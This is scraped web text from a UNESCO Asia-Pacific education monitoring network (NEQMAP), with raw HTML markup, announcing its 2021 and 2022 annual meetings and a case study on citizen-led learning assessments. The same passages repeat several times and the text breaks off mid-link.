The focus of the NEQMAP topical case studies has been on how countries in the Asia-Pacific use learning assessment data in education policy and practice. <\/p>\n\n\n\nThe current series (the fourth issue) on <a href=\"https:\/\/neqmap.bangkok.unesco.org\/resource\/citizen-led-assessments-a-model-for-evidence-based-advocacy-and-action-to-improve-learning\/\">\u201cCitizen-led Assessments: A Model for Evidence-based Advocacy and Action to Improve Learning\u201d<\/strong><\/a> was released in June 2021. It illustrates a range of ways to monitor and improve learning through civil action. The Citizen-led Assessments (CLAs) model is designed as a household-based assessment to monitor and identify the most vulnerable and marginalized children, families, and communities who are often left out of school education and common school-based assessments. As such, CLAs serve as a key component of robust education monitoring systems in many developing countries. <\/p>\n\n\n\nCivil society organisations from four South Asian countries namely Bangladesh, India, Nepal and Pakistan have been implementing CLAs to assess and represent the learning levels of all children.

The focus of the NEQMAP topical case studies has been on how countries in the Asia-Pacific use learning assessment data in education policy and practice. <\/p>\n\n\n\nThe current series (the fourth issue) on <a href=\"https:\/\/neqmap.bangkok.unesco.org\/resource\/citizen-led-assessments-a-model-for-evidence-based-advocacy-and-action-to-improve-learning\/\">\u201cCitizen-led Assessments: A Model for Evidence-based Advocacy and Action to Improve Learning\u201d<\/strong><\/a> was released in June 2021. It illustrates a range of ways to monitor and improve learning through civil action. The Citizen-led Assessments (CLAs) model is designed as a household-based assessment to monitor and identify the most vulnerable and marginalized children, families, and communities who are often left out of school education and common school-based assessments. As such, CLAs serve as a key component of robust education monitoring systems in many developing countries. <\/p>\n\n\n\nCivil society organisations from four South Asian countries namely Bangladesh, India, Nepal and Pakistan have been implementing CLAs to assess and represent the learning levels of all children.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic. Those active in NEQMAP activities over the past several years are strongly encouraged to attend.<\/p>\n\n\n\nMeeting Files from the Secretariat:<\/strong> - <a href=\"https:\/\/unesco.sharepoint.com\/:b:\/s\/UNESCOBangkokTeam\/EU6kROkWudVMjZpjIef37fsBbSphc4iMwhYK-7HJkt1R0A?e=DbofOd\">Agenda<\/a> - <a rel=\"noreferrer noopener\" href=\"https:\/\/unesco.sharepoint.com\/:b:\/s\/UNESCOBangkokTeam\/EZnYLvE3S9xDkKrKGoYwzXwB7L0sFkxRa3F0RJgfig8zyA?e=FHESJ3\" target=\"_blank\">Speakers' List<\/a><\/p>\n\n\n\nSlide Presentations:<\/strong> - <a rel=\"noreferrer noopener\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2022\/12\/1-NEQMAP-Activities-update-2022.pdf\" target=\"_blank\">NEQMAP\u2019s activities in 2022 and major 2022 education events in Asia-Pacific<\/a> - <a rel=\"noreferrer noopener\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2022\/12\/2-Bangkok-Statement-and-TES.pdf\" target=\"_blank\">NEQMAP\u2019s role and contributions in advancing countries\u2019 commitments to improving learning for all (Bangkok Statement 2022 and Transforming Education Summit follow-up)<\/a> - <a rel=\"noreferrer noopener\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2022\/12\/1-NEQMAP_ACER_India_2022_v1.1.pdf\" target=\"_blank\">Bringing policy to classrooms: Supporting teachers on criterion-referenced assessments in the National Capital Territory of Delhi<\/a> - <a rel=\"noreferrer noopener\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2022\/12\/2-Deviram-Acharya-Presentation.pdf\" target=\"_blank\">Classroom Assessment for Enhancing Learning and Recovery in Nepal<\/a> - <a rel=\"noreferrer noopener\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2022\/12\/1-Priority-areas-Soumaya-.pdf\" target=\"_blank\">Identifying priority areas of work for NEQMAP 2023<\/a> - <a rel=\"noreferrer noopener\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2022\/12\/1-AndreasWhatsNewPISA.pdf\" target=\"_blank\">What\u2019s new in PISA 2025<\/a> - <a rel=\"noreferrer noopener\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2022\/12\/SEA-PLM-PPT-NEQMAP-as-of-13-December-2022.pdf\" target=\"_blank\">Monitoring and Developing ASEAN Basic Education: The New Phase of the Southeast Asia Primary Learning Metrics (SEA-PLM)<\/a> - <a rel=\"noreferrer noopener\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2022\/12\/1-The-role-of-Learning-Progressions-in-global-education-monitoring.pdf\" target=\"_blank\">The role of Learning Progressions in global education monitoring<\/a> - <a rel=\"noreferrer noopener\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2022\/12\/Wellbeing-assessment_Zhao.pdf\" target=\"_blank\">Education for flourishing: Perspective and practice in well-being assessment<\/a> Video Recordings:<\/strong> - <a rel=\"noreferrer noopener\" href=\"https:\/\/drive.google.com\/file\/d\/1rzod9xwHQ_b59_WHkwUKxEsOjsHFGqL9\/view?usp=share_link\" target=\"_blank\">Updates on the 4th<\/sup> and 5th<\/sup> editions of PILNA<\/a><\/p>\n\n\n\n<iframe width=\"560\" height=\"315\" src=\"https:\/\/www.youtube.com\/embed\/videoseries?controls=0&list=PLWuYED1WVJIMC0seHrLq3jmv8zodwnSJI\" title=\"YouTube video player\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" allowfullscreen=\"\"><\/iframe>\n\n\n\nNote: This meeting is not open to the public.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic. Those active in NEQMAP activities over the past several years are strongly encouraged to attend.<\/p>\n\n\n\nMeeting Files from the Secretariat:<\/strong> - <a href=\"https:\/\/unesco.sharepoint.com\/:b:\/s\/UNESCOBangkokTeam\/EU6kROkWudVMjZpjIef37fsBbSphc4iMwhYK-7HJkt1R0A?e=DbofOd\">Agenda<\/a> - <a rel=\"noreferrer noopener\" href=\"https:\/\/unesco.sharepoint.com\/:b:\/s\/UNESCOBangkokTeam\/EZnYLvE3S9xDkKrKGoYwzXwB7L0sFkxRa3F0RJgfig8zyA?e=FHESJ3\" target=\"_blank\">Speakers' List<\/a><\/p>\n\n\n\nSlide Presentations:<\/strong> - <a rel=\"noreferrer noopener\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2022\/12\/1-NEQMAP-Activities-update-2022.pdf\" target=\"_blank\">NEQMAP\u2019s activities in 2022 and major 2022 education events in Asia-Pacific<\/a> - <a rel=\"noreferrer noopener\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2022\/12\/2-Bangkok-Statement-and-TES.pdf\" target=\"_blank\">NEQMAP\u2019s role and contributions in advancing countries\u2019 commitments to improving learning for all (Bangkok Statement 2022 and Transforming Education Summit follow-up)<\/a> - <a rel=\"noreferrer noopener\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2022\/12\/1-NEQMAP_ACER_India_2022_v1.1.pdf\" target=\"_blank\">Bringing policy to classrooms: Supporting teachers on criterion-referenced assessments in the National Capital Territory of Delhi<\/a> - <a rel=\"noreferrer noopener\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2022\/12\/2-Deviram-Acharya-Presentation.pdf\" target=\"_blank\">Classroom Assessment for Enhancing Learning and Recovery in Nepal<\/a> - <a rel=\"noreferrer noopener\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2022\/12\/1-Priority-areas-Soumaya-.pdf\" target=\"_blank\">Identifying priority areas of work for NEQMAP 2023<\/a> - <a rel=\"noreferrer noopener\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2022\/12\/1-AndreasWhatsNewPISA.pdf\" target=\"_blank\">What\u2019s new in PISA 2025<\/a> - <a rel=\"noreferrer noopener\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2022\/12\/SEA-PLM-PPT-NEQMAP-as-of-13-December-2022.pdf\" target=\"_blank\">Monitoring and Developing ASEAN Basic Education: The New Phase of the Southeast Asia Primary Learning Metrics (SEA-PLM)<\/a> - <a rel=\"noreferrer noopener\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2022\/12\/1-The-role-of-Learning-Progressions-in-global-education-monitoring.pdf\" target=\"_blank\">The role of Learning Progressions in global education monitoring<\/a> - <a rel=\"noreferrer noopener\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2022\/12\/Wellbeing-assessment_Zhao.pdf\" target=\"_blank\">Education for flourishing: Perspective and practice in well-being assessment<\/a> Video Recordings:<\/strong> - <a rel=\"noreferrer noopener\" href=\"https:\/\/drive.google.com\/file\/d\/1rzod9xwHQ_b59_WHkwUKxEsOjsHFGqL9\/view?usp=share_link\" target=\"_blank\">Updates on the 4th<\/sup> and 5th<\/sup> editions of PILNA<\/a><\/p>\n\n\n\n<iframe width=\"560\" height=\"315\" src=\"https:\/\/www.youtube.com\/embed\/videoseries?controls=0&list=PLWuYED1WVJIMC0seHrLq3jmv8zodwnSJI\" title=\"YouTube video player\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" allowfullscreen=\"\"><\/iframe>\n\n\n\nNote: This meeting is not open to the public.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic. Those active in NEQMAP activities over the past several years are strongly encouraged to attend.<\/p>\n\n\n\nMeeting Files from the Secretariat:<\/strong> - <a href=\"https:\/\/unesco.sharepoint.com\/:b:\/s\/UNESCOBangkokTeam\/EU6kROkWudVMjZpjIef37fsBbSphc4iMwhYK-7HJkt1R0A?e=DbofOd\">Agenda<\/a> - <a rel=\"noreferrer noopener\" href=\"https:\/\/unesco.sharepoint.com\/:b:\/s\/UNESCOBangkokTeam\/EZnYLvE3S9xDkKrKGoYwzXwB7L0sFkxRa3F0RJgfig8zyA?e=FHESJ3\" target=\"_blank\">Speakers' List<\/a><\/p>\n\n\n\nSlide Presentations:<\/strong> - <a rel=\"noreferrer noopener\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2022\/12\/1-NEQMAP-Activities-update-2022.pdf\" target=\"_blank\">NEQMAP\u2019s activities in 2022 and major 2022 education events in Asia-Pacific<\/a> - <a rel=\"noreferrer noopener\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2022\/12\/2-Bangkok-Statement-and-TES.pdf\" target=\"_blank\">NEQMAP\u2019s role and contributions in advancing countries\u2019 commitments to improving learning for all (Bangkok Statement 2022 and Transforming Education Summit follow-up)<\/a> - <a rel=\"noreferrer noopener\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2022\/12\/1-NEQMAP_ACER_India_2022_v1.1.pdf\" target=\"_blank\">Bringing policy to classrooms: Supporting teachers on criterion-referenced assessments in the National Capital Territory of Delhi<\/a> - <a rel=\"noreferrer noopener\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2022\/12\/2-Deviram-Acharya-Presentation.pdf\" target=\"_blank\">Classroom Assessment for Enhancing Learning and Recovery in Nepal<\/a> - <a rel=\"noreferrer noopener\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2022\/12\/1-Priority-areas-Soumaya-.pdf\" target=\"_blank\">Identifying priority areas of work for NEQMAP 2023<\/a> - <a rel=\"noreferrer noopener\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2022\/12\/1-AndreasWhatsNewPISA.pdf\" target=\"_blank\">What\u2019s new in PISA 2025<\/a> - <a rel=\"noreferrer noopener\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2022\/12\/SEA-PLM-PPT-NEQMAP-as-of-13-December-2022.pdf\" target=\"_blank\">Monitoring and Developing ASEAN Basic Education: The New Phase of the Southeast Asia Primary Learning Metrics (SEA-PLM)<\/a> - <a rel=\"noreferrer noopener\" 